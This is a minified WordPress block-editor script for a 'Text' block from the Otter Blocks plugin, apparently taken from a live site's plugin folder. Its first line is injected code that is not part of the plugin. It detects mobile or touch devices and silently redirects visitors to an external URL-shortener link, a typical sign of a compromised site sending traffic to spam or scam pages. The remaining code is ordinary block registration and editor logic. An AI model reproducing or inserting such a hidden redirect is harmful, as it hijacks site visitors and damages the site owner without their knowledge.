File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/atomic-wind/blocks/text/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
!function(){"use strict";var e=window.wp.blocks,t=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"atomic-wind/text","title":"Text","category":"atomic-wind","description":"A rich text element with tag selection.","keywords":["text","paragraph","heading"],"textdomain":"atomic-wind","attributes":{"tagName":{"type":"string","default":"p"},"content":{"type":"rich-text","source":"rich-text","selector":"[data-rich-text]","role":"content"},"metadata":{"type":"object"}},"supports":{"anchor":true,"html":false,"color":false,"typography":false,"spacing":false},"editorScript":"file:./index.js"}'),r=window.wp.primitives,o=window.ReactJSXRuntime,a=(0,o.jsxs)(r.SVG,{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,o.jsx)(r.Path,{opacity:"0.1",d:"M18.7959 15.8089C19.2089 15.8404 19.5178 16.2005 19.4863 16.6135C19.4281 17.3763 19.1719 18.0861 18.6348 18.6233C18.0976 19.1605 17.3878 19.4167 16.625 19.4749C16.212 19.5064 15.8518 19.1975 15.8203 18.7844C15.7889 18.3715 16.0978 18.0113 16.5108 17.9797C17.0129 17.9415 17.3514 17.7855 17.5742 17.5628C17.797 17.34 17.9529 17.0014 17.9912 16.4993C18.0228 16.0863 18.3829 15.7774 18.7959 15.8089ZM9.6963 15.9212C9.92926 15.5788 10.3958 15.4901 10.7383 15.7229C11.7313 16.3983 12.6913 16.9329 13.5742 17.3128C13.9544 17.4766 14.1304 17.9178 13.9668 18.2981C13.8032 18.6784 13.3618 18.854 12.9815 18.6907C11.9959 18.2667 10.9521 17.6825 9.89454 16.9631C9.55225 16.7301 9.4634 16.2636 9.6963 15.9212ZM4.7422 11.2844C5.05145 11.0089 5.52523 11.0367 5.80079 11.346C6.16087 11.7501 6.54066 12.1522 6.93849 12.5501C7.33632 12.9479 7.73849 13.3277 8.14259 13.6878C8.45184 13.9633 8.47968 14.4371 8.20411 14.7464C7.92856 15.0556 7.45476 15.0824 7.14552 14.8069C6.7198 14.4276 6.29602 14.0287 5.87794 13.6106C5.45986 13.1925 5.061 12.7688 4.68165 12.343C4.40612 12.0338 4.433 11.56 4.7422 11.2844ZM15.9326 9.68483C16.275 9.45193 16.7416 9.54077 16.9746 9.88307C17.6939 10.9406 18.2782 11.9845 18.7022 12.97C18.8655 13.3503 18.6898 13.7917 18.3096 13.9553C17.9292 14.119 17.4881 13.9429 17.3242 13.5628C16.9444 12.6798 16.4098 11.7199 15.7344 10.7268C15.5016 10.3844 15.5903 9.91778 15.9326 9.68483ZM1.19044 5.52174C1.57078 5.35811 2.01193 5.53415 2.17579 5.91432C2.55567 6.79729 3.09021 7.75722 3.76564 8.75026C3.99847 9.09271 3.90977 9.5593 3.5674 9.79225C3.22498 10.0251 2.75841 9.9363 2.5254 9.59401C1.8061 8.53645 1.22187 7.49261 0.797864 6.50709C0.63456 6.12676 0.810201 5.68541 1.19044 5.52174ZM11.2959 4.73073C11.5715 4.42152 12.0453 4.39465 12.3545 4.67018C12.7802 5.04952 13.204 5.44839 13.6221 5.86647C14.0402 6.28454 14.439 6.70833 14.8184 7.13405C15.0939 7.44329 15.067 7.91708 14.7578 8.19264C14.4486 8.46821 13.9748 8.44037 13.6992 8.13112C13.3391 7.72701 12.9594 7.32484 12.5615 6.92701C12.1637 6.52919 11.7615 6.1494 11.3574 5.78932C11.0482 5.51376 11.0203 5.03998 11.2959 4.73073ZM5.53322 1.17897C5.69688 0.798726 6.13823 0.623086 6.51857 0.78639C7.50409 1.21039 8.54792 1.79462 9.60548 2.51393C9.94777 2.74694 10.0366 3.21351 9.80372 3.55592C9.57077 3.8983 9.10419 3.98699 8.76173 3.75416C7.76869 3.07874 6.80876 2.5442 5.92579 2.16432C5.54562 2.00046 5.36958 1.55931 5.53322 1.17897ZM2.87501 0.00221015C3.28803 -0.0292902 3.6482 0.279626 3.6797 0.69264C3.71118 1.10562 3.40225 1.46581 2.98927 1.49733C2.48714 1.53562 2.14858 1.69154 1.92579 1.91432C1.70301 2.1371 1.5471 2.47567 1.5088 2.9778C1.47728 3.39078 1.1171 3.6997 0.704114 3.66823C0.2911 3.63673 -0.0178155 3.27655 0.0136847 2.86354C0.0718941 2.10076 0.328063 1.39096 0.865247 0.853773C1.40243 0.316588 2.11223 0.0604195 2.87501 0.00221015Z",fill:"black"}),(0,o.jsx)(r.Path,{opacity:"0.1",d:"M3.67992 18.7844C3.64842 19.1974 3.28824 19.5064 2.87523 19.4749C2.11245 19.4167 1.40266 19.1605 0.865464 18.6233C0.328296 18.0861 0.0721092 17.3763 0.0139019 16.6135C-0.0175979 16.2005 0.291316 15.8404 0.704332 15.8088C1.1173 15.7774 1.47749 16.0863 1.50902 16.4993C1.54732 17.0014 1.70323 17.34 1.92601 17.5628C2.14881 17.7855 2.48737 17.9415 2.98949 17.9797C3.40245 18.0113 3.71138 18.3715 3.67992 18.7844ZM3.56761 9.68483C3.90998 9.91778 3.99869 10.3844 3.76586 10.7268C3.09042 11.7199 2.55589 12.6798 2.17601 13.5628C2.01215 13.9429 1.571 14.119 1.19066 13.9553C0.810401 13.7917 0.63477 13.3503 0.798082 12.97C1.22209 11.9845 1.8063 10.9406 2.52562 9.88307C2.75863 9.54077 3.2252 9.45193 3.56761 9.68483ZM8.20433 4.73073C8.4799 5.03998 8.45206 5.51376 8.14281 5.78932C7.73871 6.1494 7.33653 6.52919 6.93871 6.92701C6.54087 7.32484 6.1611 7.72701 5.80101 8.13112C5.52545 8.44037 5.05167 8.4682 4.74242 8.19264C4.43321 7.91708 4.40636 7.44329 4.68187 7.13405C5.06121 6.70833 5.46008 6.28454 5.87816 5.86647C6.29624 5.44839 6.72001 5.04952 7.14574 4.67018C7.45498 4.39465 7.92877 4.42152 8.20433 4.73073ZM9.80394 15.9212C10.0368 16.2636 9.948 16.7301 9.6057 16.9631C8.54814 17.6825 7.50431 18.2667 6.51878 18.6907C6.13844 18.854 5.69709 18.6784 5.53343 18.2981C5.3698 17.9178 5.54584 17.4766 5.92601 17.3128C6.80898 16.9329 7.7689 16.3983 8.76195 15.7229C9.1044 15.4901 9.57099 15.5788 9.80394 15.9212ZM13.967 1.17897C14.1307 1.5593 13.9546 2.00046 13.5744 2.16432C12.6915 2.5442 11.7316 3.07874 10.7385 3.75416C10.3961 3.98699 9.92947 3.8983 9.69652 3.55592C9.46362 3.21351 9.55247 2.74694 9.89476 2.51393C10.9523 1.79462 11.9962 1.21039 12.9817 0.78639C13.362 0.623085 13.8034 0.798726 13.967 1.17897ZM14.758 11.2844C15.0672 11.56 15.0941 12.0338 14.8186 12.343C14.4392 12.7688 14.0404 13.1925 13.6223 13.6106C13.2042 14.0287 12.7804 14.4276 12.3547 14.8069C12.0455 15.0824 11.5717 15.0556 11.2961 14.7463C11.0206 14.4371 11.0484 13.9633 11.3577 13.6878C11.7618 13.3277 12.1639 12.9479 12.5618 12.5501C12.9596 12.1522 13.3394 11.7501 13.6994 11.346C13.975 11.0367 14.4488 11.0089 14.758 11.2844ZM18.3098 5.52174C18.69 5.68541 18.8657 6.12676 18.7024 6.50709C18.2784 7.49261 17.6941 8.53645 16.9748 9.59401C16.7418 9.9363 16.2753 10.0251 15.9328 9.79225C15.5905 9.5593 15.5018 9.09271 15.7346 8.75026C16.41 7.75721 16.9446 6.79728 17.3244 5.91432C17.4883 5.53415 17.9295 5.35811 18.3098 5.52174ZM19.4866 2.86354C19.5181 3.27655 19.2091 3.63673 18.7961 3.66823C18.3831 3.6997 18.023 3.39078 17.9914 2.9778C17.9531 2.47567 17.7972 2.1371 17.5744 1.91432C17.3517 1.69154 17.0131 1.53562 16.511 1.49733C16.098 1.46581 15.7891 1.10562 15.8205 0.69264C15.852 0.279626 16.2122 -0.0292903 16.6252 0.00221001C17.388 0.0604194 18.0978 0.316588 18.635 0.853773C19.1722 1.39096 19.4283 2.10076 19.4866 2.86354Z",fill:"black"}),(0,o.jsx)(r.Path,{d:"M9.4141 2.86107C9.66537 2.73514 9.97112 2.75931 10.2012 2.93236C12.9826 5.0243 14.4383 6.36363 16.5645 9.29857C16.7546 9.56095 16.7544 9.91597 16.5645 10.1785C15.7343 11.3252 14.7456 12.4876 13.6221 13.6111C11.265 15.9682 8.72514 17.7448 6.50101 18.698C5.39099 19.1737 4.32295 19.4606 3.37406 19.487C2.42304 19.5136 1.51945 19.2779 0.865271 18.6238C0.21113 17.9696 -0.0245142 17.066 0.00199 16.115C0.0284678 15.1661 0.315344 14.098 0.791053 12.988C1.74426 10.7639 3.52089 8.22402 5.87797 5.86693C7.00143 4.74347 8.16384 3.7547 9.31058 2.92454L9.4141 2.86107ZM9.7432 4.47142C8.80793 5.18181 7.86111 6.00488 6.93851 6.92747C4.68183 9.18417 3.02991 11.57 2.16898 13.5788C1.73772 14.5852 1.52044 15.4609 1.50101 16.157C1.48172 16.8508 1.65826 17.2937 1.92679 17.5622H1.92582C2.19437 17.8308 2.63819 18.0064 3.33207 17.987C4.02819 17.9676 4.9038 17.7513 5.91019 17.3201C7.91902 16.4591 10.3049 14.8072 12.5616 12.5505C13.4873 11.6248 14.3124 10.6744 15.0245 9.73607C13.2899 7.40247 12.0028 6.1962 9.7432 4.47142Z",fill:"#F16574"}),(0,o.jsx)(r.Path,{d:"M9.40268 2.8668C9.65147 2.73669 9.9568 2.7558 10.1898 2.92442C11.3365 3.75457 12.499 4.74335 13.6224 5.8668C15.9795 8.22387 17.7561 10.7638 18.7093 12.9879C19.185 14.0979 19.4719 15.166 19.4984 16.1149C19.5249 17.0656 19.2889 17.9685 18.6351 18.6227L18.6341 18.6236C17.98 19.2774 17.0771 19.5134 16.1263 19.4869C15.1775 19.4604 14.1093 19.1736 12.9994 18.6979C10.7753 17.7447 8.23534 15.968 5.87827 13.6109C4.75481 12.4875 3.76604 11.3251 2.93589 10.1783C2.73863 9.90577 2.74701 9.53542 2.95639 9.27208C5.25889 6.37802 6.70366 4.88268 9.29917 2.93223L9.40268 2.8668ZM9.75522 4.47032C7.68851 6.06586 6.39553 7.39563 4.49155 9.75743C5.1999 10.6889 6.02009 11.6317 6.93882 12.5504C9.19549 14.8071 11.5814 16.459 13.5902 17.3199C14.5965 17.7512 15.4722 17.9675 16.1683 17.9869C16.8621 18.0062 17.305 17.8306 17.5736 17.5621C17.8421 17.2936 18.0177 16.8506 17.9984 16.1568C17.979 15.4608 17.7626 14.5851 17.3314 13.5787C16.4705 11.5699 14.8185 9.18402 12.5619 6.92735C11.6387 6.00423 10.691 5.18098 9.75522 4.47032Z",fill:"#F16574"}),(0,o.jsx)(r.Path,{opacity:"0.1",d:"M9.75879 8.98877C10.173 8.98877 10.5088 9.32456 10.5088 9.73877C10.5088 10.153 10.173 10.4888 9.75879 10.4888H9.75C9.33579 10.4888 9 10.153 9 9.73877C9 9.32456 9.33579 8.98877 9.75 8.98877H9.75879Z",fill:"black"})]}),n=window.wp.blockEditor,C=window.wp.components,s=window.wp.i18n,i=window.wp.data;const c=["list-view","breadcrumb"],l=e=>e?("string"==typeof e?(new window.DOMParser).parseFromString(e,"text/html").body.textContent:e.toPlainText?.()??"").replace(/\s+/g," ").trim():"",d=e=>(t,{context:r}={})=>{if(!c.includes(r))return;const o=t?.metadata?.name;return o||(e?e(t):void 0)},u=(d((({tagName:e})=>(e=>{switch(e){case"section":return(0,s.__)("Section","otter-blocks");case"article":return(0,s.__)("Article","otter-blocks");case"main":return(0,s.__)("Main","otter-blocks");case"aside":return(0,s.__)("Aside","otter-blocks");case"header":return(0,s.__)("Header","otter-blocks");case"footer":return(0,s.__)("Footer","otter-blocks");case"nav":return(0,s.__)("Navigation","otter-blocks");case"details":return(0,s.__)("Details","otter-blocks");case"summary":return(0,s.__)("Summary","otter-blocks");default:return}})(e))),d((({content:e})=>l(e)?e:void 0))),p=(d((({mode:e,text:t})=>{if("inner-blocks"!==e)return l(t)?t:void 0})),d((({alt:e})=>l(e)||void 0)),d(),[{label:"p",value:"p"},{label:"span",value:"span"},{label:"h1",value:"h1"},{label:"h2",value:"h2"},{label:"h3",value:"h3"},{label:"h4",value:"h4"},{label:"h5",value:"h5"},{label:"h6",value:"h6"}]),{name:m,...h}=t;(0,e.registerBlockType)(m,{...h,icon:a,edit:function({attributes:e,setAttributes:t,clientId:r}){const{tagName:a,content:c,postField:d}=e,u=(0,n.useBlockProps)(),{isActive:m,post:h}=function(e,t){return(0,i.useSelect)((r=>{const o={isActive:!1,post:null,queryPostType:""};if(!t)return o;const{getBlockParents:a,getBlock:n}=r("core/block-editor"),C=a(e);let s="";for(const e of C){const t=n(e);if("atomic-wind/box"===t?.name&&t?.attributes?.queryPostType){s=t.attributes.queryPostType;break}}if(!s)return o;const i=r("core").getEntityRecords("postType",s,{per_page:1,_embed:!0});return{isActive:!0,post:i&&i.length>0?i[0]:null,queryPostType:s}}),[e,t])}(r,d);if(m){const e=function(e,t){if(!e)return"";switch(t){case"title":return e.title?.rendered||"";case"excerpt":return l(e.excerpt?.rendered||"");case"date":return e.date?new Date(e.date).toLocaleDateString():"";case"author":return e._embedded?.author?.[0]?.name||"";case"categories":{const t=e._embedded?.["wp:term"]?.[0];return t?t.map((e=>e.name)).join(", "):""}case"tags":{const t=e._embedded?.["wp:term"]?.[1];return t?t.map((e=>e.name)).join(", "):""}case"modified_date":return e.modified?new Date(e.modified).toLocaleDateString():"";case"comment_count":return String(e.comment_count??0);default:return""}}(h,d),r=a||"p";return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.InspectorControls,{children:(0,o.jsx)(C.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),children:(0,o.jsx)(C.SelectControl,{label:(0,s.__)("HTML Tag","otter-blocks"),value:a,options:p,onChange:e=>t({tagName:e})})})}),(0,o.jsx)(r,{...u,children:e||(0,s.__)("No data","otter-blocks")})]})}return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.InspectorControls,{children:(0,o.jsx)(C.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),children:(0,o.jsx)(C.SelectControl,{label:(0,s.__)("HTML Tag","otter-blocks"),value:a,options:p,onChange:e=>t({tagName:e})})})}),(0,o.jsx)(n.RichText,{...u,tagName:a,value:c,onChange:e=>t({content:e}),placeholder:(0,s.__)("Write text…","otter-blocks"),"data-rich-text":""})]})},save:function({attributes:e}){const{tagName:t,content:r}=e,a=n.useBlockProps.save();return(0,o.jsx)(n.RichText.Content,{...a,tagName:t,value:r,"data-rich-text":""})},__experimentalLabel:u})}();